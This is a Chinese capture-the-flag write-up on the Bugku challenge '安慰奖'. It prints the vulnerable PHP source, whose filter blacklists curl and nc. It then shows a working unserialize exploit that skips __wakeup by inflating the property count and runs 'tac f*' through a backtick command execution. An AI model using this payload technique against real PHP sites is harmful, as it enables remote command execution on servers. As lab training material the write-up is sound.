bugku-安慰奖
打开题目
发现一片空白
查看一下源代码
发现了一串base64编码
解码一下
应该是有备份文件在的
fuzz一下
发现了index.php.bak有文件
下载下来
1 <?php 2 3 header("Content-Type: text/html;charset=utf-8"); 4 error_reporting(0); 5 echo "<!-- YmFja3Vwcw== -->"; 6 class ctf 7 { 8 protected $username = 'hack'; 9 protected $cmd = 'NULL'; 10 public function __construct($username,$cmd) 11 { 12 $this->username = $username; 13 $this->cmd = $cmd; 14 } 15 function __wakeup() 16 { 17 $this->username = 'guest'; 18 } 19 20 function __destruct() 21 { 22 if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) 23 { 24 exit('</br>flag能让你这么容易拿到吗?<br>'); 25 } 26 if ($this->username === 'admin') 27 { 28 // echo "<br>right!<br>"; 29 $a = `$this->cmd`; 30 var_dump($a); 31 }else 32 { 33 echo "</br>给你个安慰奖吧,hhh!</br>"; 34 die(); 35 } 36 } 37 } 38 $select = $_GET['code']; 39 $res=unserialize(@$select); 40 ?>
是考察php反序列化的
这串代码的大致意思就是当username的值为admin时
就可以执行cmd里面的代码
但是_wakeup()的魔术方法会将guest赋给username
就无法执行cmd的代码了
所以需要绕过_wakeup这个函数
__wakeup 将在序列化之后立即被调用
漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup(跟buu的一道题好像。。)
exp
<?php class ctf{ protected $username='admin'; protected $cmd='tac f*'; } $ctf=new ctf(); echo urlencode(serialize($ctf)); ;?>
得到了:O%3A3%3A%22ctf%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D
用url编码是为了防止丢失%00
解码出来O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:6:"tac f*";}
只需要将ctf后面的2改为更大的值即可成功绕过,用tac的原因是上面过滤掉了很多指令
用tac也能正常读取文件内容
最终的payload:?code=O%3A3%3A%22ctf%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22tac+f%2A%22%3B%7D